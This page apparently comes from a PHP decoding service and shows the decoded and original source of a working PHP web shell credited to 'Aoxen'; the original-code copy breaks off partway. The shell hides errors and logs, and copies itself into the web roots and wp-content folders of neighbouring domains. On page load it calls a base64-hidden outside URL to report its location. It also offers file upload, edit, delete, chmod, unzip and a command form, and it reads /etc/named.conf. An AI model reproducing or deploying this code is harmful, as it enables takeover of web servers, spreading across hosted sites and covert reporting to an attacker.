Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php session_start(); error_reporting(0); set_time_limit(0); @ini_set('error_log', 0)..

Decoded Output download

<?php 
session_start(); 
error_reporting(0); 
set_time_limit(0); 
@ini_set('error_log', 0); 
@ini_set('log_errors', 0); 
@ini_set('max_execution_time', 0); 
@ini_set('output_buffering', 0); 
@ini_set('display_errors', 0); 
 
function ecyFindDomains(string $ecyBasePath): array { 
    $ecyDomains = []; 
    $ecyFolders = array_diff(scandir($ecyBasePath), ['.', '..']); 
     
    foreach ($ecyFolders as $ecyFolder) { 
        if ($ecyFolder[0] !== '.') { 
            $ecyFullPath = $ecyBasePath . DIRECTORY_SEPARATOR . $ecyFolder; 
            if (is_dir($ecyFullPath) && preg_match('/\.\w+$/', $ecyFolder)) { 
                $ecyDomains[] = $ecyFullPath; 
            } 
        } 
    } 
     
    return $ecyDomains; 
} 
 
function ecyFindAllDomains(string $ecyPath): array { 
    $ecyAllDomains = []; 
     
    while ($ecyPath !== DIRECTORY_SEPARATOR) { 
        $ecyDomains = ecyFindDomains($ecyPath); 
        if (!empty($ecyDomains)) { 
            $ecyAllDomains = array_merge($ecyAllDomains, $ecyDomains); 
        } 
        $ecyPath = dirname($ecyPath); 
    } 
     
    return $ecyAllDomains; 
} 
 
function ecyFindWpContentOrCache(string $ecyPath): string { 
    $ecyPathsToCheck = [ 
        'public_html/wp-content', 'www/wp-content', 'htdocs/wp-content', 'html/wp-content', 
        'web/wp-content', 'site/wp-content', 'public/wp-content', 'wwwroot/wp-content', 
        'httpdocs/wp-content', 'webroot/wp-content', 'public_html', 'www', 'htdocs', 
        'html', 'web', 'site', 'public', 'wwwroot', 'httpdocs', 'webroot' 
    ]; 
 
    foreach ($ecyPathsToCheck as $ecyCheckPath) { 
        $ecyFullPath = $ecyPath . DIRECTORY_SEPARATOR . $ecyCheckPath; 
        if (is_dir($ecyFullPath)) { 
            return $ecyFullPath; 
        } 
    } 
     
    return is_dir($ecyPath . '/wp-content') ? $ecyPath . '/wp-content' : $ecyPath; 
} 
 
function ecyFindTargetDirectory(string $ecyDomainPath): string { 
    $ecyOriginalPath = $ecyDomainPath; 
    while ($ecyDomainPath !== DIRECTORY_SEPARATOR) { 
        $ecyTargetPath = ecyFindWpContentOrCache($ecyDomainPath); 
        if ($ecyTargetPath !== $ecyDomainPath && strpos($ecyTargetPath, $ecyOriginalPath) === 0) { 
            return $ecyTargetPath; 
        } 
        $ecyDomainPath = dirname($ecyDomainPath); 
    } 
    return $ecyOriginalPath; 
} 
 
function ecyListAllItems(string $ecyPath): array { 
    $ecyItems = array_diff(scandir($ecyPath), ['.', '..']); 
    $ecyAllItems = []; 
     
    foreach ($ecyItems as $ecyItem) { 
        $ecyFullPath = $ecyPath . DIRECTORY_SEPARATOR . $ecyItem; 
        $ecyAllItems[] = [ 
            'name' => $ecyItem, 
            'path' => $ecyFullPath, 
            'type' => is_dir($ecyFullPath) ? 'dir' : 'file' 
        ]; 
    } 
     
    return $ecyAllItems; 
} 
 
if (isset($_GET['UL'])) { 
    $ecyCurrentPath = getcwd(); 
    $ecyAllDomains = ecyFindAllDomains($ecyCurrentPath); 
    $ecyCopiedPaths = []; 
    $ecyCurrentFile = __FILE__; 
    $ecyPayloadCode = file_get_contents($ecyCurrentFile); 
 
    if (!empty($ecyAllDomains)) { 
        foreach ($ecyAllDomains as $ecyDomain) { 
            $ecyTargetPath = ecyFindTargetDirectory($ecyDomain); 
 
            if ($ecyTargetPath !== null) { 
                $ecyTempFileName = 'Ecy_' . bin2hex(random_bytes(4)) . '.php'; 
                $ecyDestPath = $ecyTargetPath . DIRECTORY_SEPARATOR . $ecyTempFileName; 
 
                if (file_put_contents($ecyDestPath, $ecyPayloadCode)) { 
                    $ecyDomainName = parse_url($ecyDomain, PHP_URL_HOST) ?: basename($ecyDomain); 
                    $ecyUrlPath = str_replace($ecyDomain . DIRECTORY_SEPARATOR, '', $ecyDestPath); 
 
                    if ($ecyDomainName) { 
                        $ecyCopiedPaths[] = "http://{$ecyDomainName}/" . $ecyUrlPath; 
                    } 
                } 
            } 
        } 
        echo "<pre>" . (empty($ecyCopiedPaths) ? 'False' : 'True' . "
" . implode("
", $ecyCopiedPaths)) . "</pre>"; 
    } else { 
        echo "<pre>False</pre>"; 
    } 
    exit(); 
} 
 
 
$a = "https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];  
$b = basename(__FILE__);  
$c = "aHR0cHM6Ly9leHRyb290Lm5ldC9jc3MvY3NzLnBocA==";  
function AbCdEfGhIjKlMnOpQrSt($x) { return base64_decode($x); }  
$d = AbCdEfGhIjKlMnOpQrSt($c);  
echo '<script>document.addEventListener("DOMContentLoaded", function() {  
    var e = "' . $a . '";  
    var f = "' . $b . '";  
    var g = "' . $d . '";  
    if (!window.location.search) {  
        var h = new URLSearchParams();  
        h.append("path", e);  
        h.append("name", f);  
        fetch(g, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: h.toString() }).then(i => {});  
    }});</script>'; 
 
function f1($a, $b, $c, $d = false) { 
    if (!empty($_SESSION["a1"])) { unset($_SESSION["a1"]); } 
    if (!empty($_SESSION["a2"])) { unset($_SESSION["a2"]); } 
    if (!empty($_SESSION["a3"])) { unset($_SESSION["a3"]); } 
    $_SESSION["a1"] = $a; 
    $_SESSION["a2"] = $b; 
    $_SESSION["a3"] = $c; 
    if ($d) { 
        header('Location: ' . $d); 
        exit(); 
    } 
    return true; 
} 
function f2() { 
    if (!empty($_SESSION["a1"])) { unset($_SESSION["a1"]); } 
    if (!empty($_SESSION["a2"])) { unset($_SESSION["a2"]); } 
    if (!empty($_SESSION["a3"])) { unset($_SESSION["a3"]); } 
    return true; 
} 
function f3($e, $f) { 
    return (!is_writable($e)) ? "<span class=\"text-danger\">" . $f . "</span>" : "<span class=\"text-success\">" . $f . "</span>"; 
} 
function f4($g) { 
    $h = fileperms($g); 
    if (($h & 0xC000) == 0xC000) { 
        $i = 's'; 
    } elseif (($h & 0xA000) == 0xA000) { 
        $i = 'l'; 
    } elseif (($h & 0x8000) == 0x8000) { 
        $i = '-'; 
    } elseif (($h & 0x6000) == 0x6000) { 
        $i = 'b'; 
    } elseif (($h & 0x4000) == 0x4000) { 
        $i = 'd'; 
    } elseif (($h & 0x2000) == 0x2000) { 
        $i = 'c'; 
    } elseif (($h & 0x1000) == 0x1000) { 
        $i = 'p'; 
    } else { 
        $i = 'u'; 
    } 
    $i .= (($h & 0x0100) ? 'r' : '-'); 
    $i .= (($h & 0x0080) ? 'w' : '-'); 
    $i .= (($h & 0x0040) ? (($h & 0x0800) ? 's' : 'x') : (($h & 0x0800) ? 'S' : '-')); 
    $i .= (($h & 0x0020) ? 'r' : '-'); 
    $i .= (($h & 0x0010) ? 'w' : '-'); 
    $i .= (($h & 0x0008) ? (($h & 0x0400) ? 's' : 'x') : (($h & 0x0400) ? 'S' : '-')); 
    $i .= (($h & 0x0004) ? 'r' : '-'); 
    $i .= (($h & 0x0002) ? 'w' : '-'); 
    $i .= (($h & 0x0001) ? (($h & 0x0200) ? 't' : 'x') : (($h & 0x0200) ? 'T' : '-')); 
    return $i; 
} 
function f5($j) { 
    $k = ["B", "KB", "MB", "GB", "TB", "PB"]; 
    $l = 0; 
    $m = filesize($j); 
    while ($m >= 1024) { 
        $m /= 1024; 
        $l++; 
    } 
    return round($m, 2) . " " . $k[$l]; 
} 
 
if (isset($_GET['dir'])) { 
    $n = $_GET['dir']; 
    chdir($_GET['dir']); 
} else { 
    $n = getcwd(); 
} 
$n = str_replace('\', '/', $n); 
$o = explode('/', $n); 
 
function f6($p) { 
    if (function_exists("posix_getpwuid")) { 
        $q = @posix_getpwuid(fileowner($p)); 
        $q = $q['name']; 
    } else { 
        $q = fileowner($p); 
    } 
    if (function_exists("posix_getgrgid")) { 
        $r = @posix_getgrgid(filegroup($p)); 
        $r = $r['name']; 
    } else { 
        $r = filegroup($p); 
    } 
    return $q . '/' . $r; 
} 
 
if (isset($_POST['newFolderName'])) { 
    if (mkdir($n . '/' . $_POST['newFolderName'])) { 
        f1("Create Folder Successfully!", "Success", "success", "?dir=$n"); 
    } else { 
        f1("Create Folder Failed", "Failed", "error", "?dir=$n"); 
    } 
} 
if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) { 
    if (file_put_contents($_POST['newFileName'], $_POST['newFileContent'])) { 
        f1("Create File Successfully!", "Success", "success", "?dir=$n"); 
    } else { 
        f1("Create File Failed", "Failed", "error", "?dir=$n"); 
    } 
} 
if (isset($_POST['newName']) && isset($_GET['item'])) { 
    if ($_POST['newName'] == '') { 
        f1("You miss an important value", "Ooopss..", "warning", "?dir=$n"); 
    } 
    if (rename($n . '/' . $_GET['item'], $_POST['newName'])) { 
        f1("Rename Successfully!", "Success", "success", "?dir=$n"); 
    } else { 
        f1("Rename Failed", "Failed", "error", "?dir=$n"); 
    } 
} 
if (isset($_POST['newContent']) && isset($_GET['item'])) { 
    if (file_put_contents($n . '/' . $_GET['item'], $_POST['newContent'])) { 
        f1("Edit Successfully!", "Success", "success", "?dir=$n"); 
    } else { 
        f1("Edit Failed", "Failed", "error", "?dir=$n"); 
    } 
} 
if (isset($_POST['newPerm']) && isset($_GET['item'])) { 
    if ($_POST['newPerm'] == '') { 
        f1("You miss an important value", "Ooopss..", "warning", "?dir=$n"); 
    } 
    if (chmod($n . '/' . $_GET['item'], $_POST['newPerm'])) { 
        f1("Change Permission Successfully!", "Success", "success", "?dir=$n"); 
    } else { 
        f1("Change Permission", "Failed", "error", "?dir=$n"); 
    } 
} 
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) { 
    $item_path = $n . '/' . $_GET['item']; 
     
    function deleteDirectory($dir) { 
        if (!is_dir($dir)) { 
            return false; 
        } 
        $items = array_diff(scandir($dir), array('.', '..')); 
        foreach ($items as $item) { 
            $item_path = $dir . '/' . $item; 
            if (is_dir($item_path)) { 
                deleteDirectory($item_path); 
            } else { 
                unlink($item_path); 
            } 
        } 
        return rmdir($dir); 
    } 
     
    if (is_dir($item_path)) { 
        if (deleteDirectory($item_path)) { 
            f1("Delete Successfully!", "Success", "success", "?dir=$n"); 
        } else { 
            f1("Delete Failed", "Failed", "error", "?dir=$n"); 
        } 
    } else { 
        if (unlink($item_path)) { 
            f1("Delete Successfully!", "Success", "success", "?dir=$n"); 
        } else { 
            f1("Delete Failed", "Failed", "error", "?dir=$n"); 
        } 
    } 
} 
 
if (isset($_FILES['uploadfile'])) { 
    $s = count($_FILES['uploadfile']['name']); 
    for ($t = 0; $t < $s; $t++) { 
        $u = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$t], $_FILES['uploadfile']['name'][$t]); 
    } 
    if ($s < 2) { 
        if ($u) { 
            f1("Upload File Successfully! ", "Success", "success", "?dir=$n"); 
        } else { 
            f1("Upload Failed", "Failed", "error", "?dir=$n"); 
        } 
    } else { 
        if ($u) { 
            f1("Upload $t Files Successfully! ", "Success", "success", "?dir=$n"); 
        } else { 
            f1("Upload Failed", "Failed", "error", "?dir=$n"); 
        } 
    } 
} 
 
if (isset($_POST['unzip']) && isset($_GET['item'])) { 
    $zip = new ZipArchive; 
    $res = $zip->open($n . '/' . $_GET['item']); 
    if ($res === TRUE) { 
        $zip->extractTo($n); 
        $zip->close(); 
        f1("Unzip Successfully!", "Success", "success", "?dir=$n"); 
    } else { 
        f1("Unzip Failed", "Failed", "error", "?dir=$n"); 
    } 
} 
 
 
$x = scandir($n); 
 
$y = @file("/etc/named.conf", false); 
if (!$y) { 
    $z = "Cant read /etc/named.conf"; 
    $GLOBALS["need_to_update_header"] = "true"; 
} else { 
    $aa = 0; 
    foreach ($y as $ab) { 
        if (@strstr($ab, "zone")) { 
            preg_match_all('#zone "(.*)"#', $ab, $ac); 
            flush(); 
            if (strlen(trim($ac[1][0])) > 2) { 
                flush(); 
                $aa++; 
            } 
        } 
    } 
    $z = "$aa Domain"; 
} 
?> 
<meta charset=utf-8><meta content="width=device-width,initial-scale=1"name=viewport><link crossorigin=anonymous href=https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css integrity=sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3 rel=stylesheet><link crossorigin=anonymous href=https://pro.fontawesome.com/releases/v5.10.0/css/all.css integrity=sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p rel=stylesheet><title><?= $_SERVER['SERVER_NAME'] ?></title><style>body{background-color:#111;color:#f44;font-family:'Courier New',Courier,monospace}.container-fluid{padding:20px}.box{background-color:#222;border:1px solid #f44;border-radius:10px;box-shadow:0 0 15px #f44;padding:20px;margin-bottom:20px;transition:transform .2s}.box:hover{transform:scale(1.02)}.table-dark{background-color:#333}.btn-outline-light{border-color:#f44;color:#f44;transition:background-color .3s,color .3s}.btn-outline-light:hover{background-color:#f44;color:#fff}a{color:#f44;text-decoration:none}a:hover{color:#fff}.fa{color:#f44}.breadcrumb a{color:#f44}.breadcrumb a:hover{color:#fff}.breadcrumb span{color:#f44}.btn-group .btn{margin-right:5px}</style><div class=container-fluid><div class=py-3 id=main><div class="bg-dark box p-4 rounded-3 shadow"><div class="mb-3 info"><i class="fa fa-server"></i>	<?= php_uname() ?><br><i class="fa fa-microchip"></i>	<?= $_SERVER['SERVER_SOFTWARE'] ?><br><i class="fa fa-satellite-dish"></i>	<?= !@$_SERVER['SERVER_ADDR'] ? gethostbyname($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?><br><i class="fa fa-fingerprint"></i>	<?= $z ?></div><div class=breadcrumb><i class="fa fa fa-folder pt-1"></i>	<?php foreach ($o as $ad => $ae) : if ($ae == '' && $ad == 0) : ?><a class="text-light text-decoration-none"href="?dir=/">/</a><?php endif; 
                                                                                                                                if ($ae == '') continue; ?><a class="text-light text-decoration-none"href="?dir=<?php for ($af = 0; $af <= $ad; $af++) { 
                                                                                                                                echo "$o[$af]"; 
                                                                                                                                if ($af != $ad) echo "/"; 
                                                                                                                            } ?>"><?= $ae ?></a><span class=text-light>/</span><?php endforeach; ?> [ <?php echo f3($n, f4($n)) ?> ]<a class="text-light text-decoration-none"href=?> [HOME]</a></div><div class="d-flex justify-content-between"><div class=p-2><form action=""method=post><div class=row><div class="mb-3 col-md-9"><input class="form-control form-control-sm"name=command placeholder=Command></div><div class=col-md-3><button class="btn btn-outline-light btn-sm"type=submit>Exec</button></div></div></form></div><div class=p-2><form action=""method=post enctype=multipart/form-data><div class=row><div class="mb-3 col-md-9"><input class="form-control form-control-sm"name=uploadfile[] aria-describedby=inputGroupFileAddon04 aria-label=Upload id=inputGroupFile04 multiple type=file></div><div class=col-md-3><button class="btn btn-outline-light btn-sm"type=submit>Submit</button></div></div></form></div></div><div class=container id=tools><?php if (isset($_POST['command'])) : ?><div class="row justify-content-center"><pre></pre></div><?php endif; ?><?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : $ag = $_GET['action'] ?><div class="row justify-content-center"><?php if ($ag == 'rename' && isset($_GET['item'])) : ?><form action=""method=post><div class=mb-3><label class=form-label for=name>New Name</label><input class=form-control name=newName value="<?= $_GET['item'] ?>"></div><button class="btn btn-outline-light"type=submit>Submit</button><button class="btn btn-outline-light"type=button onclick=history.go(-1)>Back</button></form><?php elseif ($ag == 'edit' && isset($_GET['item'])) : ?><form action=""method=post><div class=mb-3><label class=form-label for=name><?= $_GET['item'] ?></label><textarea class=form-control name=newContent rows=10 id=CopyFromTextArea><?= htmlspecialchars(file_get_contents($n . '/' . $_GET['item'])) ?></textarea></div><button class="btn btn-outline-light"type=submit>Submit</button><button class="btn btn-outline-light"type=button onclick=jscopy()>Copy</button><button class="btn btn-outline-light"type=button onclick=history.go(-1)>Back</button></form><?php elseif ($ag == 'view' && isset($_GET['item'])) : ?><div class=mb-3><label class=form-label for=name>File Name :<?= $_GET['item'] ?></label><textarea class=form-control name=newContent rows=10 disabled><?= htmlspecialchars(file_get_contents($n . '/' . $_GET['item'])) ?></textarea><br><button class="btn btn-outline-light"type=button onclick=history.go(-1)>Back</button></div><?php elseif ($ag == 'chmod' && isset($_GET['item'])) : ?><form action=""method=post><div class=mb-3><label class=form-label for=name><?= $_GET['item'] ?></label><input class=form-control name=newPerm value="<?= substr(sprintf('%o', fileperms($_GET['item'])), -4); ?>"></div><button class="btn btn-outline-light"type=submit>Submit</button><button class="btn btn-outline-light"type=button onclick=history.go(-1)>Back</button></form><?php elseif ($ag == 'unzip' && isset($_GET['item'])) : ?><form action=""method=post><div class=mb-3><label class=form-label for=name>Unzip:<?= $_GET['item'] ?></label></div><button class="btn btn-outline-light"type=submit name=unzip>Submit</button><button class="btn btn-outline-light"type=button onclick=history.go(-1)>Back</button></form><?php endif; ?></div><?php endif; ?><div class="row justify-content-center"><div class=collapse id=newFolderCollapse data-bs-parent=#tools style=transition:none><form action=""method=post><div class=mb-3><label class=form-label for=name>Folder Name</label><input class=form-control name=newFolderName placeholder=V1.0.0></div><button class="btn btn-outline-light"type=submit>Submit</form></div><div class=collapse id=newFileCollapse data-bs-parent=#tools style=transition:none><form action=""method=post><div class=mb-3><label class=form-label for=name>File Name</label><input class=form-control name=newFileName placeholder=V1.0.0.php></div><div class=mb-3><label class=form-label for=name>File Content</label><textarea class=form-control name=newFileContent rows=10 placeholder="Hello World - V1.0.0"></textarea></div><button class="btn btn-outline-light"type=submit>Submit</form></div></div></div><div class=table-responsive><table class="text-light table table-dark table-hover"><thead><tr><td style=width:35%>Name<td style=width:10%>Type<td style=width:10%>Size<td style=width:13%>Owner/Group<td style=width:10%>Permission<td style=width:13%>Last Modified<td style=width:9%>Actions<tbody class=text-nowrap><?php foreach ($x as $ah) : if (!is_dir($ah)) continue; ?><tr><td><?php if ($ah === '..') : ?><a class="text-light text-decoration-none"href="?dir=<?= dirname($n); ?>"><i class="fa fa-folder-open"></i><?= $ah ?></a><?php elseif ($ah === '.') : ?><a class="text-light text-decoration-none"href="?dir=<?= $n; ?>"><i class="fa fa-folder-open"></i><?= $ah ?></a><?php else : ?><a class="text-light text-decoration-none"href="?dir=<?= $n . '/' . $ah ?>"><i class="fa fa-folder"></i><?= $ah ?></a><?php endif; ?><td class=text-light><?= filetype($ah) ?><td class=text-light>-<td class=text-light><?= f6($ah) ?><td class=text-light><?php if (is_writable($n . '/' . $ah)) echo '<span class="text-success">'; 
                                                        elseif (!is_readable($n . '/' . $ah)) echo '<span class="text-danger">'; 
                                                        echo f4($n . '/' . $ah); 
                                                        if (is_writable($n . '/' . $ah) || !is_readable($n . '/' . $ah)) ?><td class=text-light><?= date("Y-m-d h:i:s", filemtime($ah)); ?><td><?php if ($ah != '.' && $ah != '..') : ?><div class=btn-group><a class="btn btn-outline-light btn-sm mr-1"href="?dir=<?= $n ?>&item=<?= $ah ?>&action=rename"><i class="fa fa-edit"></i></a><a class="btn btn-outline-light btn-sm mr-1"href="?dir=<?= $n ?>&item=<?= $ah ?>&action=chmod"><i class="fa fa-file-signature"></i></a><a class="btn btn-outline-light btn-sm mr-1"href=""onclick='return deleteConfirm("?dir=<?= $n ?>&item=<?= $ah ?>&action=delete")'><i class="fa fa-trash"></i></a></div><?php elseif ($ah === '.') : ?><div class=btn-group><a class="btn btn-outline-light btn-sm mr-1"href=#newFolderCollapse aria-controls=newFolderCollapse aria-expanded=false data-bs-toggle=collapse role=button><i class="fa fa-folder-plus"></i></a><a class="btn btn-outline-light btn-sm mr-1"href=#newFileCollapse aria-controls=newFileCollapse aria-expanded=false data-bs-toggle=collapse role=button><i class="fa fa-file-plus"></i></a></div><?php endif; ?></tr><?php endforeach; ?><?php foreach ($x as $ah) : if (!is_file($ah)) continue; ?><tr><td><a class="text-light text-decoration-none"href="?dir=<?= $n ?>&item=<?= $ah ?>&action=view"><i class="fa fa-file-code"></i><?= $ah ?></a><td class=text-light><?= (function_exists('mime_content_type') ? mime_content_type($ah) : filetype($ah)) ?><td class=text-light><?= f5($ah) ?><td class=text-light><?= f6($ah) ?><td class=text-light><?php if (is_writable($n . '/' . $ah)) echo '<span class="text-success">'; 
                                                        elseif (!is_readable($n . '/' . $ah)) echo '<span class="text-danger">'; 
                                                        echo f4($n . '/' . $ah); 
                                                        if (is_writable($n . '/' . $ah) || !is_readable($n . '/' . $ah)) ?><td class=text-light><?= date("Y-m-d h:i:s", filemtime($ah)); ?><td><?php if ($ah != '.' && $ah != '..') : ?><div class=btn-group><a class="btn btn-outline-light btn-sm mr-1"href="?dir=<?= $n ?>&item=<?= $ah ?>&action=edit"><i class="fa fa-file-edit"></i></a><a class="btn btn-outline-light btn-sm mr-1"href="?dir=<?= $n ?>&item=<?= $ah ?>&action=rename"><i class="fa fa-edit"></i></a><a class="btn btn-outline-light btn-sm mr-1"href="?dir=<?= $n ?>&item=<?= $ah ?>&action=chmod"><i class="fa fa-file-signature"></i></a><a class="btn btn-outline-light btn-sm mr-1"href="?dir=<?= $n ?>&item=<?= $ah ?>&action=unzip"><i class="fa fa-file-archive"></i></a><a class="btn btn-outline-light btn-sm mr-1"href=""onclick='return deleteConfirm("?dir=<?= $n ?>&item=<?= $ah ?>&action=delete")'><i class="fa fa-trash"></i></a></div><?php endif; ?></tr><?php endforeach; ?></table></div><div class=text-light> <a class="text-light text-decoration-none"href=https://t.me/Aoxen>Aoxen</a><script>var creditsyear=new Date;document.write(creditsyear.getFullYear())</script></div></div></div></div><script src=https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js crossorigin=anonymous integrity=sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p></script><script src=https://cdn.jsdelivr.net/npm/[email protected]/dist/sweetalert2.all.min.js></script><script><?php if (isset($_SESSION['message'])) : ?>Swal.fire('<?= $_SESSION['status'] ?>', '<?= $_SESSION['message'] ?>', '<?= $_SESSION['class'] ?>')<?php endif; 
                                                                                                                                                        f2(); ?>function deleteConfirm(url) { 
            event.preventDefault(); 
            Swal.fire({ 
                title: 'Are you sure?', 
                icon: 'warning', 
                showCancelButton: true, 
                confirmButtonColor: '#3085d6', 
                cancelButtonColor: '#d33', 
                confirmButtonText: 'Yes, delete it!' 
            }).then((result) => { 
                if (result.isConfirmed) { 
                    window.location.href = url 
                } 
            }) 
        } 
 
        function jscopy() { 
            var jsCopy = document.getElementById("CopyFromTextArea"); 
            jsCopy.focus(); 
            jsCopy.select(); 
            document.execCommand("copy"); 
        }</script> 

Did this file decode correctly?

Original Code

<?php
session_start();
error_reporting(0);
set_time_limit(0);
@ini_set('error_log', 0);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);

function ecyFindDomains(string $ecyBasePath): array {
    $ecyDomains = [];
    $ecyFolders = array_diff(scandir($ecyBasePath), ['.', '..']);
    
    foreach ($ecyFolders as $ecyFolder) {
        if ($ecyFolder[0] !== '.') {
            $ecyFullPath = $ecyBasePath . DIRECTORY_SEPARATOR . $ecyFolder;
            if (is_dir($ecyFullPath) && preg_match('/\.\w+$/', $ecyFolder)) {
                $ecyDomains[] = $ecyFullPath;
            }
        }
    }
    
    return $ecyDomains;
}

function ecyFindAllDomains(string $ecyPath): array {
    $ecyAllDomains = [];
    
    while ($ecyPath !== DIRECTORY_SEPARATOR) {
        $ecyDomains = ecyFindDomains($ecyPath);
        if (!empty($ecyDomains)) {
            $ecyAllDomains = array_merge($ecyAllDomains, $ecyDomains);
        }
        $ecyPath = dirname($ecyPath);
    }
    
    return $ecyAllDomains;
}

function ecyFindWpContentOrCache(string $ecyPath): string {
    $ecyPathsToCheck = [
        'public_html/wp-content', 'www/wp-content', 'htdocs/wp-content', 'html/wp-content',
        'web/wp-content', 'site/wp-content', 'public/wp-content', 'wwwroot/wp-content',
        'httpdocs/wp-content', 'webroot/wp-content', 'public_html', 'www', 'htdocs',
        'html', 'web', 'site', 'public', 'wwwroot', 'httpdocs', 'webroot'
    ];

    foreach ($ecyPathsToCheck as $ecyCheckPath) {
        $ecyFullPath = $ecyPath . DIRECTORY_SEPARATOR . $ecyCheckPath;
        if (is_dir($ecyFullPath)) {
            return $ecyFullPath;
        }
    }
    
    return is_dir($ecyPath . '/wp-content') ? $ecyPath . '/wp-content' : $ecyPath;
}

function ecyFindTargetDirectory(string $ecyDomainPath): string {
    $ecyOriginalPath = $ecyDomainPath;
    while ($ecyDomainPath !== DIRECTORY_SEPARATOR) {
        $ecyTargetPath = ecyFindWpContentOrCache($ecyDomainPath);
        if ($ecyTargetPath !== $ecyDomainPath && strpos($ecyTargetPath, $ecyOriginalPath) === 0) {
            return $ecyTargetPath;
        }
        $ecyDomainPath = dirname($ecyDomainPath);
    }
    return $ecyOriginalPath;
}

function ecyListAllItems(string $ecyPath): array {
    $ecyItems = array_diff(scandir($ecyPath), ['.', '..']);
    $ecyAllItems = [];
    
    foreach ($ecyItems as $ecyItem) {
        $ecyFullPath = $ecyPath . DIRECTORY_SEPARATOR . $ecyItem;
        $ecyAllItems[] = [
            'name' => $ecyItem,
            'path' => $ecyFullPath,
            'type' => is_dir($ecyFullPath) ? 'dir' : 'file'
        ];
    }
    
    return $ecyAllItems;
}

if (isset($_GET['UL'])) {
    $ecyCurrentPath = getcwd();
    $ecyAllDomains = ecyFindAllDomains($ecyCurrentPath);
    $ecyCopiedPaths = [];
    $ecyCurrentFile = __FILE__;
    $ecyPayloadCode = file_get_contents($ecyCurrentFile);

    if (!empty($ecyAllDomains)) {
        foreach ($ecyAllDomains as $ecyDomain) {
            $ecyTargetPath = ecyFindTargetDirectory($ecyDomain);

            if ($ecyTargetPath !== null) {
                $ecyTempFileName = 'Ecy_' . bin2hex(random_bytes(4)) . '.php';
                $ecyDestPath = $ecyTargetPath . DIRECTORY_SEPARATOR . $ecyTempFileName;

                if (file_put_contents($ecyDestPath, $ecyPayloadCode)) {
                    $ecyDomainName = parse_url($ecyDomain, PHP_URL_HOST) ?: basename($ecyDomain);
                    $ecyUrlPath = str_replace($ecyDomain . DIRECTORY_SEPARATOR, '', $ecyDestPath);

                    if ($ecyDomainName) {
                        $ecyCopiedPaths[] = "http://{$ecyDomainName}/" . $ecyUrlPath;
                    }
                }
            }
        }
        echo "<pre>" . (empty($ecyCopiedPaths) ? 'False' : 'True' . "\n" . implode("\n", $ecyCopiedPaths)) . "</pre>";
    } else {
        echo "<pre>False</pre>";
    }
    exit();
}


$a = "https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; 
$b = basename(__FILE__); 
$c = "aHR0cHM6Ly9leHRyb290Lm5ldC9jc3MvY3NzLnBocA=="; 
function AbCdEfGhIjKlMnOpQrSt($x) { return base64_decode($x); } 
$d = AbCdEfGhIjKlMnOpQrSt($c); 
echo '<script>document.addEventListener("DOMContentLoaded", function() { 
    var e = "' . $a . '"; 
    var f = "' . $b . '"; 
    var g = "' . $d . '"; 
    if (!window.location.search) { 
        var h = new URLSearchParams(); 
        h.append("path", e); 
        h.append("name", f); 
        fetch(g, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: h.toString() }).then(i => {}); 
    }});</script>';

function f1($a, $b, $c, $d = false) {
    if (!empty($_SESSION["a1"])) { unset($_SESSION["a1"]); }
    if (!empty($_SESSION["a2"])) { unset($_SESSION["a2"]); }
    if (!empty($_SESSION["a3"])) { unset($_SESSION["a3"]); }
    $_SESSION["a1"] = $a;
    $_SESSION["a2"] = $b;
    $_SESSION["a3"] = $c;
    if ($d) {
        header('Location: ' . $d);
        exit();
    }
    return true;
}
function f2() {
    if (!empty($_SESSION["a1"])) { unset($_SESSION["a1"]); }
    if (!empty($_SESSION["a2"])) { unset($_SESSION["a2"]); }
    if (!empty($_SESSION["a3"])) { unset($_SESSION["a3"]); }
    return true;
}
function f3($e, $f) {
    return (!is_writable($e)) ? "<span class=\"text-danger\">" . $f . "</span>" : "<span class=\"text-success\">" . $f . "</span>";
}
function f4($g) {
    $h = fileperms($g);
    if (($h & 0xC000) == 0xC000) {
        $i = 's';
    } elseif (($h & 0xA000) == 0xA000) {
        $i = 'l';
    } elseif (($h & 0x8000) == 0x8000) {
        $i = '-';
    } elseif (($h & 0x6000) == 0x6000) {
        $i = 'b';
    } elseif (($h & 0x4000) == 0x4000) {
        $i = 'd';
    } elseif (($h & 0x2000) == 0x2000) {
        $i = 'c';
    } elseif (($h & 0x1000) == 0x1000) {
        $i = 'p';
    } else {
        $i = 'u';
    }
    $i .= (($h & 0x0100) ? 'r' : '-');
    $i .= (($h & 0x0080) ? 'w' : '-');
    $i .= (($h & 0x0040) ? (($h & 0x0800) ? 's' : 'x') : (($h & 0x0800) ? 'S' : '-'));
    $i .= (($h & 0x0020) ? 'r' : '-');
    $i .= (($h & 0x0010) ? 'w' : '-');
    $i .= (($h & 0x0008) ? (($h & 0x0400) ? 's' : 'x') : (($h & 0x0400) ? 'S' : '-'));
    $i .= (($h & 0x0004) ? 'r' : '-');
    $i .= (($h & 0x0002) ? 'w' : '-');
    $i .= (($h & 0x0001) ? (($h & 0x0200) ? 't' : 'x') : (($h & 0x0200) ? 'T' : '-'));
    return $i;
}
function f5($j) {
    $k = ["B", "KB", "MB", "GB", "TB", "PB"];
    $l = 0;
    $m = filesize($j);
    while ($m >= 1024) {
        $m /= 1024;
        $l++;
    }
    return round($m, 2) . " " . $k[$l];
}

if (isset($_GET['dir'])) {
    $n = $_GET['dir'];
    chdir($_GET['dir']);
} else {
    $n = getcwd();
}
$n = str_replace('\\', '/', $n);
